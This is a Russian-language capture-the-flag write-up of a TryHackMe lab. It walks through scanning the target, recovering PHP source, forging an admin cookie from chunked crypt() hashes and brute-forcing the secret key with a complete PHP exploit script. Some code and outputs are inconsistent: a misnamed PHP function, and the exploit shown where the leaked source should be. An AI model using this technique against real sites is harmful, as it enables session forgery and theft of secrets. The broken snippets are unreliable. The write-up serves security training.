</content></entry><entry><id>collapsz:W8GSOmqfzgk</id><link rel="alternate" type="text/html" href="https://teletype.in/@collapsz/W8GSOmqfzgk?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=collapsz"></link><title>Crypto Failures</title><published>2025-03-13T11:12:47.948Z</published><updated>2025-03-13T11:55:57.592Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img2.teletype.in/files/d3/16/d316aa17-fc24-4e5c-b563-d3c80e3157e8.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img2.teletype.in/files/d0/a5/d0a5d7c3-b065-457c-b329-07f3db0067ba.png&quot;&gt;@fefuctf @collapsz</summary><content type="html">
  &lt;p id=&quot;wuzu&quot;&gt;@fefuctf @collapsz&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;9hqQ&quot;&gt;Введение&lt;/h2&gt;
  &lt;p id=&quot;qpsz&quot;&gt;Всем привет!&lt;/p&gt;
  &lt;p id=&quot;Nuq4&quot;&gt;Сегодня пробежимся по одной интересной комнате, в которой веб-технологии и криптография тесно взаимосвязаны, а время работы итогового эксплоита стало причиной одной веселой истории:D Сегодня препарируем комнату &lt;a href=&quot;https://tryhackme.com/room/cryptofailures&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Crypto Failures&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;
  &lt;figure id=&quot;80OD&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/5e/3e/5e3ed325-2f4f-4996-993b-d3185552ee6f.png&quot; width=&quot;2738&quot; /&gt;
    &lt;figcaption&gt;room title&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;ud3i&quot;&gt;Решение&lt;/h2&gt;
  &lt;p id=&quot;GjD0&quot;&gt;Заносим IP-адрес машины в /etc/hosts&lt;/p&gt;
  &lt;pre id=&quot;bR7P&quot;&gt;┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 05:20:47]
└─[130] echo &amp;#x27;10.10.0.83 crypto.thm&amp;#x27; | sudo tee -a /etc/hosts
10.10.0.83 crypto.thm&lt;/pre&gt;
  &lt;p id=&quot;0vcy&quot;&gt;Сканирование показало классическую ситуацию: открыты порты 22 и 80:&lt;/p&gt;
  &lt;pre id=&quot;be1D&quot;&gt;┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 05:21:47]
└─[130] nmap -A crypto.thm -oN nmap/crypto
# Nmap 7.94SVN scan initiated Thu Mar 13 14:45:09 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -T5 -oN ./nmpa/crypto 10.10.0.83
Warning: 10.10.0.83 giving up on port because retransmission cap hit (2).
Nmap scan report for crypto.thm (10.10.0.83)
Host is up (0.19s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 57:2c:43:78:0c:d3:13:5b:8d:83:df:63:cf:53:61:91 (ECDSA)
|_  256 45:e1:3c:eb:a6:2d:d7:c6:bb:43:24:7e:02:e9:11:39 (ED25519)
80/tcp open  http    Apache httpd 2.4.59 ((Debian))
|_http-title: Did not follow redirect to /
|_http-server-header: Apache/2.4.59 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel&lt;/pre&gt;
  &lt;p id=&quot;Hjai&quot;&gt;На веб-интерфейсе сначала получаем куку:&lt;/p&gt;
  &lt;figure id=&quot;P42p&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/96/33/96336aae-0084-4cc1-b1d3-8293d94960d4.png&quot; width=&quot;3616&quot; /&gt;
    &lt;figcaption&gt;set-cookie&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;uEGw&quot;&gt;Затем получаем информацию о некоем .bak файлике:&lt;/p&gt;
  &lt;figure id=&quot;De2H&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/25/f6/25f65e8d-cf50-4dba-9dc3-6f4db780f1d9.png&quot; width=&quot;3622&quot; /&gt;
    &lt;figcaption&gt;.bak hint&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;R3g8&quot;&gt;Шустренько его находим:&lt;/p&gt;
  &lt;pre id=&quot;9Uaa&quot;&gt;┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 05:26:43]
└─[0] ffuf -u &amp;#x27;http://crypto.thm/FUZZ.bak&amp;#x27; -w /usr/share/wordlists/dirb/common.txt

        /&amp;#x27;___\  /&amp;#x27;___\           /&amp;#x27;___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://crypto.thm/FUZZ.bak
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

.htpasswd               [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 186ms]
.htaccess               [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 585ms]
.hta                    [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 1583ms]
index.php               [Status: 200, Size: 1979, Words: 282, Lines: 96, Duration: 394ms]&lt;/pre&gt;
  &lt;p id=&quot;bFpT&quot;&gt;Забираем файл себе и приступаем к его изучению. &lt;strong&gt;That&amp;#x27;s where it becomes intetesting&lt;/strong&gt;:&lt;/p&gt;
  &lt;pre id=&quot;kSAI&quot;&gt;&amp;lt;?php

$target_url = &amp;quot;http://crypto.thm/&amp;quot;;

$charset = &amp;#x27;0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ}{!@#$%^&amp;amp;*)(_-=+&amp;#x27;;
$user_agent = str_repeat(&amp;quot;A&amp;quot;, 256);
$known_prefix = &amp;quot;guest:&amp;quot; . $user_agent . &amp;quot;:&amp;quot;;
$try = substr($known_prefix, -8);

function get_secure_cookie($user_agent) {
    global $target_url;

    $req = stream_req_create([
        &amp;quot;http&amp;quot; =&amp;gt; [
            &amp;quot;method&amp;quot; =&amp;gt; &amp;quot;GET&amp;quot;,
            &amp;quot;header&amp;quot; =&amp;gt;
                &amp;quot;Host: crypto.thm\r\n&amp;quot; .
                &amp;quot;User-Agent: $user_agent\r\n&amp;quot; .
                &amp;quot;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\r\n&amp;quot; .
                &amp;quot;Accept-Language: en-US,en;q=0.5\r\n&amp;quot; .
                &amp;quot;Accept-Encoding: gzip, deflate, br\r\n&amp;quot; .
                &amp;quot;Connection: close\r\n&amp;quot; .
                &amp;quot;Upgrade-Insecure-Requests: 1\r\n&amp;quot;
        ]
    ]);

    $response = file_get_contents($target_url, false, $req);
    foreach ($http_response_header as $header) {
        if (stripos($header, &amp;quot;Set-Cookie: secure_cookie=&amp;quot;) !== false) {
            preg_match(&amp;#x27;/secure_cookie=([^;]+)/&amp;#x27;, $header, $matches);
            
            if (!isset($matches[1])) {
                return null;
            }

            $decoded_cookie = urldecode($matches[1]);

            if (preg_match(&amp;#x27;/%[0-9A-Fa-f]{2}/&amp;#x27;, $decoded_cookie)) {
                die(&amp;quot;URL-encoded characters detected in secure_cookie!\n&amp;quot;);
            }

            return $decoded_cookie;
        }
    }
    return null;
}

$found_text = &amp;quot;&amp;quot;;
while (true) {
    echo &amp;quot;\nCurrent key: {$found_text}\n&amp;quot;;

    $secure_cookie = get_secure_cookie($user_agent);
    $user_agent = str_repeat(&amp;quot;A&amp;quot;, strlen($user_agent) + 7);
    if (!$secure_cookie) {
        die(&amp;quot;Failed to retrieve secure_cookie!\n&amp;quot;);
    }

    echo &amp;quot;Retrieved (Decoded) secure_cookie: $secure_cookie\n&amp;quot;;

    $salt = substr($secure_cookie, 0, 2);

    $found_char = null;
    foreach (str_split($charset) as $char) {
        $temp = substr($try, 1) . $char;
        print($temp . &amp;quot;\n&amp;quot;);

        $hashed_test = crypt($temp, $salt);
        if (str_contains($secure_cookie, $hashed_test)) {
            echo &amp;quot;Found character: $char\n&amp;quot;;
            $found_text .= $char;
            $try = $temp;
            echo $try . &amp;quot;\n&amp;quot;;
            echo $hashed_test . &amp;quot;\n&amp;quot;;
            break;
        }
    }
}

?&amp;gt;&lt;/pre&gt;
  &lt;p id=&quot;kX3m&quot;&gt;При первом посещении страницы, как мы помним, сервер заботливо предложил нам куки &lt;code&gt;user=guest&lt;/code&gt; для доступа к странице и какую-то secure_cookie:&lt;/p&gt;
  &lt;pre id=&quot;FHvr&quot;&gt;Set-Cookie: secure_cookie=qq5hn2VBZEMdgqqkB468YMXfp.qqoj2B7OQMgdsqqWi9cv8mJAggqqkl5tVY%2FltFkqq9wt1xPcj5BEqqLjjlsMM1cHQqqXQf8PVifDFsqqTXCTbFFbL52qqK%2FVJW2K1GqkqqkFkWEDB2%2FUcqqmMuIPR1mGoIqq8T7%2Fvk3EW4wqqZiFNGHbRxwIqq0Widqh42bLMqq7IVzir.wQ2UqqZhaTr%2F3mFw.qqx2vu2WhHPz6qqZuPcehu0zegqqGAPfN..4xTQqq7iyKmdDR3O.; expires=Thu, 13 Mar 2025 08:30:14 GMT; Max-Age=3600; path=/
Set-Cookie: user=guest; expires=Thu, 13 Mar 2025 08:30:14 GMT; Max-Age=3600; path=/&lt;/pre&gt;
  &lt;p id=&quot;My2Z&quot;&gt;И в &lt;code&gt;index.php.bak&lt;/code&gt; видим алгоритм его генерации. Нам же, по всей видимости, предстоит попасть под админом. Приступим к анализу кода:&lt;/p&gt;
  &lt;pre id=&quot;zc72&quot;&gt;&amp;lt;?php
include(&amp;#x27;config.php&amp;#x27;);&lt;/pre&gt;
  &lt;p id=&quot;Mmh4&quot;&gt;В config.php, по всей видимости, содержатся ключи и секреты, доступа к которым у нас нет. Посмотрим, что сможем сделать без них. &lt;/p&gt;
  &lt;p id=&quot;qlBc&quot;&gt;Первой функцией объявляется generate_cookie:&lt;/p&gt;
  &lt;pre id=&quot;mDHo&quot;&gt;function generate_cookie($user,$ENC_SECRET_KEY) {
    $SALT=generatesalt(2);
    $secure_cookie_string = $user.&amp;quot;:&amp;quot;.$_SERVER[&amp;#x27;HTTP_USER_AGENT&amp;#x27;].&amp;quot;:&amp;quot;.$ENC_SECRET_KEY; 
    $secure_cookie = make_secure_cookie($secure_cookie_string,$SALT);
    setcookie(&amp;quot;secure_cookie&amp;quot;,$secure_cookie,time()+3600,&amp;#x27;/&amp;#x27;,&amp;#x27;&amp;#x27;,false);
    setcookie(&amp;quot;user&amp;quot;,&amp;quot;$user&amp;quot;,time()+3600,&amp;#x27;/&amp;#x27;,&amp;#x27;&amp;#x27;,false);
}&lt;/pre&gt;
  &lt;p id=&quot;39AG&quot;&gt;По сути говоря, это main данного кода – именно эта функция отвечает за вызов генерации и назначения куки новым пользователям:&lt;/p&gt;
  &lt;p id=&quot;bNou&quot;&gt;&lt;code&gt;$SALT=generatesalt(2);&lt;/code&gt; генерирует соль размером в 2 символа, понять это можно по коду функции generatesalt();&lt;/p&gt;
  &lt;pre id=&quot;MUki&quot;&gt;function generatesalt($n) {
$randomString=&amp;#x27;&amp;#x27;;
$characters = &amp;#x27;0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ&amp;#x27;;
for ($i = 0; $i &amp;lt; $n; $i++) {
    $index = rand(0, strlen($characters) - 1);
    $randomString .= $characters[$index];
}&lt;/pre&gt;
  &lt;p id=&quot;BLyW&quot;&gt;&lt;code&gt;$secure_cookie_string&lt;/code&gt; составляет строку по принципу &lt;code&gt;user:user_agent:&amp;lt;secret_key&amp;gt;&lt;/code&gt;. При этом &lt;strong&gt;user&lt;/strong&gt; берется из присвоенной ранее куки &lt;strong&gt;user&lt;/strong&gt;, а ключ нам &lt;strong&gt;неизвестен&lt;/strong&gt;. &lt;/p&gt;
  &lt;p id=&quot;K075&quot;&gt;&lt;code&gt;$secure_cookie = make_secure_cookie($secure_cookie_string,$SALT);&lt;/code&gt; вызывает функцию make_secure_cookie() c собранной ранее строкой и сгенерированной солью. Код функции:&lt;/p&gt;
  &lt;pre id=&quot;VkRj&quot;&gt;function make_secure_cookie($text,$SALT) {
$secure_cookie=&amp;#x27;&amp;#x27;;
foreach ( str_split($text,8) as $el ) {
    $secure_cookie .= cryptstring($el,$SALT);
}&lt;/pre&gt;
  &lt;p id=&quot;wI96&quot;&gt;Видно, что полученная строка разбивается на чанки по 8 символов, после чего эти чанки вместе с солью передаются в cryptstring():&lt;/p&gt;
  &lt;pre id=&quot;Z8wg&quot;&gt;function cryptstring($what,$SALT){
return crypt($what,$SALT);
}&lt;/pre&gt;
  &lt;blockquote id=&quot;2t1r&quot;&gt;Функция &lt;code&gt;crypt&lt;/code&gt; используется для хеширования строки с использованием определённого алгоритма и соли (salt). Она возвращает хешированную строку, которая обычно используется для безопасного хранения паролей.&lt;/blockquote&gt;
  &lt;p id=&quot;4mQL&quot;&gt;После всех этих процедур строка складывается воедино и отдается пользователю заголовком &lt;strong&gt;Set-Cookie&lt;/strong&gt;. &lt;/p&gt;
  &lt;p id=&quot;E4q7&quot;&gt;Далее – verify_cookie():&lt;/p&gt;
  &lt;pre id=&quot;5vnZ&quot;&gt;function verify_cookie($ENC_SECRET_KEY){
    $crypted_cookie=$_COOKIE[&amp;#x27;secure_cookie&amp;#x27;];
    $user=$_COOKIE[&amp;#x27;user&amp;#x27;];
    $string=$user.&amp;quot;:&amp;quot;.$_SERVER[&amp;#x27;HTTP_USER_AGENT&amp;#x27;].&amp;quot;:&amp;quot;.$ENC_SECRET_KEY;

    $salt=substr($_COOKIE[&amp;#x27;secure_cookie&amp;#x27;],0,2); 

    if(make_secure_cookie($string,$salt)===$crypted_cookie) {
        return true;
    } else {
        return false;
    }
}&lt;/pre&gt;
  &lt;p id=&quot;KmEN&quot;&gt;Извлекаются куки &lt;strong&gt;secure_cookie&lt;/strong&gt; и &lt;strong&gt;user&lt;/strong&gt;, затем с использованием юзер-агента, куки &lt;strong&gt;user&lt;/strong&gt; и &lt;strong&gt;enc_secret_key&lt;/strong&gt; собирается &lt;strong&gt;$string&lt;/strong&gt;, после чего из $string извлекается соль, с использованием этой соли генерируется &amp;quot;валидная&amp;quot; кука и сравнивается с той, которая хранится в системе у пользователя. Таким образом: &lt;/p&gt;
  &lt;blockquote id=&quot;chIF&quot;&gt;1. При посещении страницы назначаются куки user и secure_cookie&lt;br /&gt;2. user по умолчанию – guest, generate_cookie() запускает цепочку действий:&lt;br /&gt;    1. Генерируется двухсимвольная соль&lt;br /&gt;    2. Формируется строка user:user_agent:&amp;lt;enc_key&amp;gt; &lt;br /&gt;    3. Полученная строка разбивается на чанки по 8 символов&lt;br /&gt;    4. Каждый чанк шифруется солью в функции cryptstring(), она же crypt()&lt;br /&gt;    5. Хешированные чанки конкатенируются и возвращаются в Set-Cookie&lt;br /&gt;3. При валидации куки сервер извлекает из secure_cookie подстроку – соль&lt;br /&gt;4. При помощи извлеченной подстроки и куки user генерируется &amp;quot;валидная&amp;quot; кука, которая затем сравнивается с той, которая хранится у пользователя в session_cookie&lt;/blockquote&gt;
  &lt;p id=&quot;6mjv&quot;&gt;Таким образом, генерация &amp;quot;валидной&amp;quot; куки происходит на &amp;quot;фронте&amp;quot; – с использованием подконтрольных нам данных и неизвестного нам секретного ключа.&lt;/p&gt;
  &lt;p id=&quot;A0Er&quot;&gt;Для эксплуатации запросим новую secure_cookie и посмотрим, где расположены хешированные чанки: &lt;/p&gt;
  &lt;pre id=&quot;Tmgc&quot;&gt;secure_cookie=iCRBzB77Hs5CIiCn5Awl7w6rFwiCERGwsGetCzIiCk7o1dhvzXFEiCjjU3kvjir66iCqMY9s22hA/siCmjKeKIZ8uW2iCE0IRfzX3s1MiC8UC6cyvBsUUiC.W3XniZbRq2iCbjEnILfizzgiCuspukSJQ616iCZ9nywsbfTtEiC70927kGV93kiCHPE/fjDq0KAiC3GLgwqvJXUIiCtoWhqzJ798EiCIZs9qkvj.uwiCikZDtBKqSwwiCzsjugR4qiFwiCA1SyVNVUReMiCQ3AZa&lt;/pre&gt;
  &lt;p id=&quot;n76N&quot;&gt;Мы знаем, что соль – первые два символа. Таким образом можно вычленить все чанки имеющейся куки: &lt;/p&gt;
  &lt;figure id=&quot;5Smw&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/78/80/7880f9ce-8247-4b44-8d78-8e2b6e972893.png&quot; width=&quot;4504&quot; /&gt;
    &lt;figcaption&gt;hashed chuncs&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;qmhJ&quot;&gt;При этом посмотреть на чанки перед хешированием можно при помощи следующего скрипта: &lt;/p&gt;
  &lt;pre id=&quot;P91c&quot;&gt;┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:17:15]
└─[0] cat generator.php 
&amp;lt;?php
$string = &amp;#x27;guest:Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0:&amp;lt;secret_key&amp;gt;&amp;#x27;;
foreach (str_split($string, 8) as $el) {
echo $el.&amp;quot;\n&amp;quot;;
}
?&amp;gt;
┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:17:15]
└─[0] php generator.php 
admin:Mo
zilla/5.
0 (X11; 
Linux x8
6_64; rv
:128.0) 
Gecko/20
100101 F
irefox/1
28.0:&amp;lt;se
cret_key
&amp;gt;&lt;/pre&gt;
  &lt;p id=&quot;SGPa&quot;&gt;Аналогично для хешированных чанков:&lt;/p&gt;
  &lt;pre id=&quot;4ufg&quot;&gt;┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:23:07]
└─[0] cat generator.php
&amp;lt;?php
$salt = &amp;#x27;iC&amp;#x27;;
$string = &amp;#x27;guest:Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0:&amp;lt;secret_key&amp;gt;&amp;#x27;;
foreach (str_split($string, 8) as $el) {
echo crypt($el, $salt).&amp;quot;\n&amp;quot;;
}
?&amp;gt;
┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:23:10]
└─[0] php generator.php
iCRBzB77Hs5CI
iCn5Awl7w6rFw
iCERGwsGetCzI
iCk7o1dhvzXFE
iCjjU3kvjir66
iCqMY9s22hA/s
iCmjKeKIZ8uW2
iCE0IRfzX3s1M
iC8UC6cyvBsUU
iCLXGAf95OnrA
iCKZQ6AfAA.wg
iCdfLie1MKVE2&lt;/pre&gt;
  &lt;blockquote id=&quot;UBzv&quot;&gt;&lt;strong&gt;Уязвимость можно увидеть на 4 этапе работы скрипта – первый чанк содержит в себе юзернейм и кусочек юзер-агента, при этом и то, и другое подконтрольно пользователю, таким образом, зная соль, мы можем изменить только первый чанк и оставить все неизвестные части нетронутыми, включая хешированный encryption_secret.   &lt;/strong&gt;&lt;/blockquote&gt;
  &lt;p id=&quot;KNoT&quot;&gt;Для эксплуатации первого этапа нам нужно подменить первый чанк на &amp;quot;вредоносный&amp;quot; – содержащий в себе юзернейм админа. Для этого немного отредактируем скрипт:&lt;/p&gt;
  &lt;pre id=&quot;QCCP&quot;&gt;┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:24:22]
└─[0] cat generator.php            
&amp;lt;?php
$salt = &amp;#x27;iC&amp;#x27;;
$string = &amp;#x27;admin:Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0:&amp;lt;secret_key&amp;gt;&amp;#x27;;
foreach (str_split($string, 8) as $el) {
echo crypt($el, $salt).&amp;quot;\n&amp;quot;;
}
?&amp;gt;
┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:24:24]
└─[0] php generator.php | head -n 1
iCjrMyPrACzWM&lt;/pre&gt;
  &lt;p id=&quot;wDfm&quot;&gt;Возвращаемся на веб-сервер: &lt;/p&gt;
  &lt;figure id=&quot;rPbP&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/fd/fc/fdfcffdf-348c-487c-a2ff-0bfed1e2cf46.png&quot; width=&quot;3616&quot; /&gt;
    &lt;figcaption&gt;web-server 1&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;8U5H&quot;&gt;И заменяем первый чанк исходной куки на полученный на предыдущем этапе, а значение куки &lt;strong&gt;user&lt;/strong&gt; меняем на &lt;strong&gt;admin&lt;/strong&gt;:&lt;/p&gt;
  &lt;figure id=&quot;TKZv&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e0/62/e062c99d-a27b-4eb5-a294-8dee852f7ba9.jpeg&quot; width=&quot;3626&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;b39z&quot;&gt;Теперь, сервер извлечет из куки user значение &lt;code&gt;admin&lt;/code&gt; и выполнит проверку с солью &lt;code&gt;iC&lt;/code&gt;, а сгенерированная в результате кука ничем не будет отличаться от нашей.&lt;/p&gt;
  &lt;p id=&quot;H87n&quot;&gt;Далее нам предлагают узнать значение секретного ключа, для выполнения этой задачи потребуется вспомнить, как именно работает алгоритм хеширования чанков:&lt;/p&gt;
  &lt;pre id=&quot;LIwg&quot;&gt;┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:17:15]
└─[0] php generator.php 
admin:Mo
zilla/5.
0 (X11; 
Linux x8
6_64; rv
:128.0) 
Gecko/20
100101 F
irefox/1
28.0:&amp;lt;se
cret_key
&amp;gt;&lt;/pre&gt;
  &lt;p id=&quot;0qRI&quot;&gt;Как мы помним, собранная строка разбивается на чанки по 8 символов и в самый первый чанк попадает 2 символа юзер-агента, который нам подконтролен. А что будет, если отправить запрос с пустым юзер-агентом? Модифицируем скрипт:&lt;/p&gt;
  &lt;pre id=&quot;YuOj&quot;&gt;┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:34:34]
└─[0] cat generator.php  
&amp;lt;?php
$salt = &amp;#x27;iC&amp;#x27;;
$string = &amp;#x27;admin::&amp;lt;secret_key&amp;gt;&amp;#x27;;
foreach (str_split($string, 8) as $el) {
echo $el.&amp;quot;\n&amp;quot;;
}
?&amp;gt;
┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:34:36]
└─[0] php generator.php            
admin::&amp;lt;
secret_k
ey&amp;gt;&lt;/pre&gt;
  &lt;p id=&quot;q2Pc&quot;&gt;Видим, что в первом чанке теперь &lt;em&gt;юзернейм, два двоеточия и последний символ  принадлежит неизвестному секретному ключу&lt;/em&gt;, что дает нам возможность перебрать всевозможные символы алфавита и сравнить хешированные чанки – совпадение будет означать, что мы нашли нужный символ&lt;/p&gt;
  &lt;p id=&quot;VG3Q&quot;&gt;&lt;strong&gt;Таким образом наш план действий: &lt;/strong&gt;&lt;/p&gt;
  &lt;ol id=&quot;lpdd&quot;&gt;
    &lt;li id=&quot;Deoz&quot;&gt;Отправить запрос с пустым юзер-агентом и получить новую куку&lt;/li&gt;
    &lt;li id=&quot;Iul3&quot;&gt;Вычленить из нее первый чанк&lt;/li&gt;
    &lt;li id=&quot;TBZv&quot;&gt;Мы знаем, что в этом чанке хранится юзернейм и один символ секретного ключа&lt;/li&gt;
    &lt;li id=&quot;eG5c&quot;&gt;Локально хешируем чанк admin::&amp;lt;symbol&amp;gt; до тех пор, пока не получим такой же чанк, как в куке&lt;/li&gt;
    &lt;li id=&quot;POiI&quot;&gt;После получения этого символа, мы целиком заполним первый чанк и следующий символ подобрать не сможем&lt;/li&gt;
    &lt;li id=&quot;lFf8&quot;&gt;Просчитаем паддинг второго чанка так, чтобы снова остался только 1 символ&lt;/li&gt;
    &lt;li id=&quot;1Cc3&quot;&gt;Повторить процедуру до получения полного секрета&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;9KCL&quot;&gt;Шаг 1. Получили куку&lt;/p&gt;
  &lt;figure id=&quot;gTz0&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/44/2e/442ed8fe-bb70-48ca-b10e-2292d70c7aa1.png&quot; width=&quot;3616&quot; /&gt;
    &lt;figcaption&gt;empty user agent&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;5WdS&quot;&gt;Шаг 2. Первый чанк&lt;/p&gt;
  &lt;figure id=&quot;2pKE&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/93/92/93924a3e-b1ae-4351-9b23-12d0cc88c76f.png&quot; width=&quot;4486&quot; /&gt;
    &lt;figcaption&gt;chunk 1&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;XBzh&quot;&gt;Шаг 3. Перебор хешей. Первый символ флага – T, поскольку мы получили полное совпадение нашего хеша чанка с исходным&lt;/p&gt;
  &lt;pre id=&quot;ksgz&quot;&gt;┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:48:44]
└─[0] cat brute.php    
&amp;lt;?php
$salt = &amp;#x27;fw&amp;#x27;;
$characters = &amp;#x27;0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ&amp;#x27;;

foreach (str_split($characters) as $char) {
    $string = &amp;quot;guest::$char&amp;quot;;
    foreach (str_split($string, 8) as $el) {
        echo $el . &amp;quot;::&amp;quot; . crypt($el, $salt) . &amp;quot;\n&amp;quot;;
    }
}
?&amp;gt;
┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:48:48]
└─[0] php brute.php | grep fw1OtzoFC4VJM
guest::T::fw1OtzoFC4VJM&lt;/pre&gt;
  &lt;p id=&quot;yfPF&quot;&gt;Уже на этом этапе стало понятно, что перебор такого вручную займет достаточно продолжительное время. Автоматизация и дебаг наше все. &lt;/p&gt;
  &lt;pre id=&quot;0goA&quot;&gt;&amp;lt;?php

$target_url = &amp;quot;http://crypto.thm/&amp;quot;;

$charset = &amp;#x27;0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ}{!@#$%^&amp;amp;*)(_-=+&amp;#x27;;
$user_agent = str_repeat(&amp;quot;A&amp;quot;, 256);
$known_prefix = &amp;quot;guest:&amp;quot; . $user_agent . &amp;quot;:&amp;quot;;
$test_string = substr($known_prefix, -8);

function get_secure_cookie($user_agent) {
    global $target_url;

    $context = stream_context_create([
        &amp;quot;http&amp;quot; =&amp;gt; [
            &amp;quot;method&amp;quot; =&amp;gt; &amp;quot;GET&amp;quot;,
            &amp;quot;header&amp;quot; =&amp;gt;
                &amp;quot;Host: crypto.thm\r\n&amp;quot; .
                &amp;quot;User-Agent: $user_agent\r\n&amp;quot; .
                &amp;quot;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\r\n&amp;quot; .
                &amp;quot;Accept-Language: en-US,en;q=0.5\r\n&amp;quot; .
                &amp;quot;Accept-Encoding: gzip, deflate, br\r\n&amp;quot; .
                &amp;quot;Connection: close\r\n&amp;quot; .
                &amp;quot;Upgrade-Insecure-Requests: 1\r\n&amp;quot;
        ]
    ]);

    $response = file_get_contents($target_url, false, $context);

    foreach ($http_response_header as $header) {
        if (stripos($header, &amp;quot;Set-Cookie: secure_cookie=&amp;quot;) !== false) {
            preg_match(&amp;#x27;/secure_cookie=([^;]+)/&amp;#x27;, $header, $matches);
            
            if (!isset($matches[1])) {
                return null;
            }

            $decoded_cookie = urldecode($matches[1]);

            if (preg_match(&amp;#x27;/%[0-9A-Fa-f]{2}/&amp;#x27;, $decoded_cookie)) {
                die(&amp;quot;URL-encoded characters detected in secure_cookie!\n&amp;quot;);
            }

            return $decoded_cookie;
        }
    }
    return null;
}

$found_text = &amp;quot;&amp;quot;;
while (true) {
    echo &amp;quot;\nCurrent key: {$found_text}\n&amp;quot;;

    $secure_cookie = get_secure_cookie($user_agent);
    $user_agent = str_repeat(&amp;quot;A&amp;quot;, strlen($user_agent) + 7);
    if (!$secure_cookie) {
        die(&amp;quot;Failed to retrieve secure_cookie!\n&amp;quot;);
    }

    echo &amp;quot;Retrieved (Decoded) secure_cookie: $secure_cookie\n&amp;quot;;

    $salt = substr($secure_cookie, 0, 2);

    $found_char = null;
    foreach (str_split($charset) as $char) {
        $test_string_temp = substr($test_string, 1) . $char;
        print($test_string_temp . &amp;quot;\n&amp;quot;);

        $hashed_test = crypt($test_string_temp, $salt);
        if (str_contains($secure_cookie, $hashed_test)) {
            echo &amp;quot;Found character: $char\n&amp;quot;;
            $found_text .= $char;
            $test_string = $test_string_temp;
            echo $test_string . &amp;quot;\n&amp;quot;;
            echo $hashed_test . &amp;quot;\n&amp;quot;;
            break;
        }
    }
}

?&amp;gt;&lt;/pre&gt;
  &lt;p id=&quot;53GS&quot;&gt;Подождав несколько минут, успешно сдампим 154-символьный флаг:/&lt;/p&gt;
  &lt;figure id=&quot;9pKq&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/91/ca/91ca3cf6-eeaa-445f-aa6e-89559adfe4ee.png&quot; width=&quot;2124&quot; /&gt;
    &lt;figcaption&gt;flag dump&lt;/figcaption&gt;
  &lt;/figure&gt;
